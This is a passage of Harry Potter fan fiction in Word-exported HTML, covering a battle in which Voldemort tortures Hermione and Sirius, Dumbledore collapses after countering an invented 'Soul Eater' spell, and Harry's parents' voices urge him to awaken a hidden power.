coils tightened around him again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nHermione cried and ran to him. &#8220;Let him go!&#8221; she shouted at the snake.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nserpent turned its head towards her and lashed out.&nbsp; Hermione was just\nsaved from being bitten by Sirius who pulled her back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Away\nwith you all!&#8221; Voldemort shouted and blasted them a good twenty feet away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione!&#8221;\nHarry shouted as he saw her fly through the air and land hard on the\nunforgiving ground.&nbsp; He felt a fiery rage beginning to burn inside his\nheart, and his eyes fixed on Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nbastard!&#8221; he growled.&nbsp; The dark wizard merely sneered happily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nshe&#8217;s special to you&#8230;is she?&nbsp; Well too bad that you won&#8217;t be around to see\nher much longer.&nbsp; Nagini, finish him now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nsnake crushed Harry in its coils, and he cried out in pain.&nbsp; He could feel\nhis bones creaking from the tremendous pressure, and his skin was ice-cold from\nthe freezing effect of her scales.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nand the others had managed to get back up, and they saw Harry writhing in pain\nunder the snake&#8217;s torture.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nno!&nbsp; Fight it!&#8221; Hermione shouted, and tears came to her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nso you care for him do you?&#8221; Hermione could feel a pair of crimson eyes upon\nher, and she turned to see Voldemort gazing at her intently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Tell\nme, my dear, does it hurt you to watch him die?&nbsp; Well don&#8217;t worry, you&#8217;ll\nbe next!&#8221; he laughed.&nbsp; Sirius quickly stepped in front of Hermione to act\nas a shield.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nhad heard every word, and it had pushed his fury to the breaking point.&nbsp;\nThere was no way in hell that Voldemort was going to lay a finger on\nHermione.&nbsp; The ground began to shake beneath him, drawing everyone&#8217;s\nattention back to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;INNNNNN&#8230;FERRRRRR&#8230;NASSSSSS!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\ngiant fireball erupted around Harry&#8217;s body, and the snake wailed in agony as\nthe fire tore through its skin.&nbsp; It recoiled from around his body and was\nthrown in Voldemort&#8217;s direction as the spell exploded around Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nscreamed in horror when she saw his body engulfed in flames, and the tears\npoured down her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nnot done yet, Voldemort.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">From\nwithin the fireball, they could all see a familiar shape; it was Harry.&nbsp;\nThe young man lowered his wand, and the fire went out.&nbsp; The charred\nremains of the massive snake lay scorched at the feet of his enemy, and the\nDark Lord looked quite amazed at what he had just seen.&nbsp; Harry&#8217;s eyes\nnever left him, and they continued to burn with raw fury.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nnot touching, my girl, you bastard.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;well&#8230;well,\nyou&#8217;re just full of surprises aren&#8217;t you, Potter.&#8221; The wizard&#8217;s eyes darted\nbetween Harry and Hermione, and an evil plan formulated in his mind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nHarry Potter, she&#8217;s yours is she?&nbsp; Why didn&#8217;t you tell me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nlaughed sadistically and raised his wand.&nbsp; Harry quickly raised his and\nreadied himself for an attack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As\nmuch as I would love to just kill you right now, I&#8217;d prefer to see you suffer\nfirst&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Blackest\nof all magic&#8230;darkest of all night&#8230;consume that which is his&#8230;and destroy all\nthat is bright&#8230;SOUL EATER!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nblack mist formed at the end of Voldemort&#8217;s wand, and a stream of black energy\nsurged towards Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look\nout!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nwatched in horror as the attack came at her.&nbsp; At the last instant however,\nSirius pushed her out of the way.&nbsp; He screamed as the spell hit his chest,\nand he wailed in agony as he felt like he was being ripped apart from the\ninside out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius!&#8221;\nHarry shouted and ran for him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">His\ngodfather dropped to his knees, and his body was contorting in pain as the\nspell continued to torture him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nhave you done?&#8221; Harry growled, glaring at Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nhave you never seen a Soul Eater performed before?&nbsp; As it&#8217;s name says, the\nspell literally drains the life energy out of a person &#8211; slowly and\npainfully.&nbsp; Too bad, it was intended for that stupid girl, but I guess\nBlack will have to do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nson of a&#8230;&#8221; Remus said angrily.&nbsp; Dumbledore quickly approached Sirius&#8217;\nsquirming body and knelt down next to him.&nbsp; There was a large black spot\non his chest, and it was getting larger at it drained his life away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\neven think about it, Albus, there&#8217;s no counterspell to save him.&nbsp; You&#8217;ll\njust have to sit there and watch him die.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort,\nthis is beneath even you,&#8221; the headmaster of Hogwarts snapped and placed his\nhands on Sirius&#8217; head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Closing\nhis eyes, Dumbledore concentrated all of his power and knowledge.&nbsp; His\nhands glowed slightly, and before long, sweat was appearing on his brow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor?&#8221;\nHarry gasped as he saw the strain that the old man was putting on himself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do\nnot touch him!&#8221; Remus ordered. &#8220;You&#8217;ll only break his concentration.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntar-like burn on Sirius&#8217; chest began to get smaller and smaller, and it soon\ndisappeared all together.&nbsp; Dumbledore collapsed face first on to the\nground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nhappened to him?&#8221; Hermione asked in horror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8217;m\nnot quite sure&#8230;&#8221; Remus stated, &#8220;&#8230;but I think that Professor Dumbledore\ncancelled out the spell.&nbsp; The Soul Eater sucks up a person&#8217;s entire life\nforce, but I believe that Albus gave it some of his own to stop it from draining\nSirius.&nbsp; However, it may very well have killed him in the process.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nit can&#8217;t be!&#8221; Harry cried.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nstubborn, old fool, he never knew when to leave well enough alone, but oh well,\nthat&#8217;s just one more thorn out of my side,&#8221; Voldemort laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nturned towards him with hate burning in his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\njust made me mad!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nso scared of you, boy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\na choppy voice stuttered.&nbsp; It was Dumbledore&#8217;s voice, and the young man\nquickly went to his mentor&#8217;s side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor,\nstay still.&#8221; The old man&#8217;s eyes opened slightly, and he cracked a small smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;listen\nto me, you must unleash your true power.&nbsp; Only then, will you be able to\ndefeat Voldemort.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nsir, I don&#8217;t know how.&nbsp; What am I supposed to do?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look\nwithin yourself, my boy, the knowledge is there.&nbsp; Now trust yourself.&#8221;\nThose were Dumbledore&#8217;s final words before he lapsed into unconsciousness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nclosed his eyes and took a deep breath.&nbsp; Rising to his feet, the young man\nraised his head, and his green eyes fixed on his mortal enemy.&nbsp; Pulling\noff his shredded robe, Harry tossed it to the ground and walked over to\nHermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\ntake this,&#8221; he stated and handed her his wand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhat are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Listen\ncarefully, if Voldemort&#8217;s attacks you, cast a spell on him &#8211; any spell.&nbsp;\nMy wand and his came from the same phoenix; they cannot affect one\nanother.&nbsp; That will give you a defense mechanism.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nwhat about you?&#8221; Harry&#8217;s eyes narrowed, and his head turned to face the dark\nwizard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nbe just fine.&nbsp; Professor Lupin, take Hermione, Sirius, and Professor\nDumbledore back inside Hogwarts,&#8221; he stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nwon&#8217;t leave you out here alone,&#8221; his girlfriend said defiantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione!&#8221;\nHarry shouted at her.&nbsp; His tone was commanding, but it wasn&#8217;t cruel. &#8220;Do\nas I say and leave!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Listen\nto him, Hermione, he knows what he&#8217;s doing,&#8221; Remus stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou dare get killed on me, Potter!&#8221; she said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\na chance, now go!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With\nsome help from Hermione, Remus levitated Sirius and Dumbledore&#8217;s bodies into\nthe air and guided them back towards the main gate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Did\nI say anyone could leave?&#8221; a voice interjected.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nsuddenly lifted off the ground, and her arms and legs flailed about as she tried\nto get her bearings back.&nbsp; Harry&#8217;s head snapped around to see Voldemort\nsmiling cruelly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Release\nher now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now,\nwhy would I do that?&nbsp; It was a big mistake to show me your weakness, Harry\nPotter.&nbsp; You will watch her die right now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nspun Hermione around in the air twisting and spinning her around until she was\nalmost green.&nbsp; Lowering his wand, he slammed the young woman into the\nground, and she cried out as several of her ribs broke from the impact.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas at her side in an instant, and he rolled her over.&nbsp; Blood was trailing\nout of her mouth, and he knew that she had to have severe internal injuries.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\nbad, but she didn&#8217;t bounce very well did she?&#8221; Voldemort&#8217;s sadistic laughter\npermeated the air, and it made Harry&#8217;s skin crawl.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nguess I&#8217;ll just have to keep trying then,&#8221; the dark wizard raised his wand and\npointed it at Hermione.&nbsp; Harry made a dash for his wand, but it was too\nlate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Crucio!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ahhhhhh!!!&#8221;\nHermione wailed in pure agony.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It\nfelt like her skin was on fire, and her bones were cracking into small\npieces.&nbsp; Every muscle in her body convulsed with pain, and she screamed to\nhigh heaven.&nbsp; Her cries echoed in Harry&#8217;s ears, and he clenched his fists\nin frustration and anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Dammit,\nwhat do I do?&#8217; he shouted at himself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Call\nupon your power,&#8217; a silent voice answered him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nwas that?&#8221; Harry said out loud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Listen\nson, you have the strength to beat Voldemort; all you must do is ask for it,&#8217;\nthe voice answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nswore that he recognized the voice, but from where&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Your\nfather is right, Harry, now is the time to unleash your true magic,&#8217; another\nvoice stated &#8211; this one female.&nbsp; Suddenly, the young wizard understood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Mother&#8230;father&#8230;is\nthat you?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Yes\nson, it is us.&nbsp; We knew what Gemstar did to you that day when you were a\nchild, and what it meant for you.&nbsp; You carry a sleeping power within you;\nnow just bring it out.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI don&#8217;t know how?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you babbling about, boy?&#8221; Voldemort hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Listen\nto your heart, Harry, and trust it to give you the words,&#8217; his parents said in\nunison.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione&#8217;s\ncries continued to ring in Harry&#8217;s ears, and the young man rose to his feet\nonce again - his eyes burning with rage and righteous anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let\nher go, Voldemort, or die where you stand!&#8221; Harry roared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nnever learn, Potter, there is nothing that you can do to stop me!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ndark lord recast his spell on Hermione, and she cried out as her pain\nintensified.&nbsp; That was the last straw.&nbsp; Harry would take no\nmore!&nbsp; Quieting his fury, he could hear soft words being whispered in the\nback of his mind.&nbsp; It was like something was writing a spell directly into\nhis 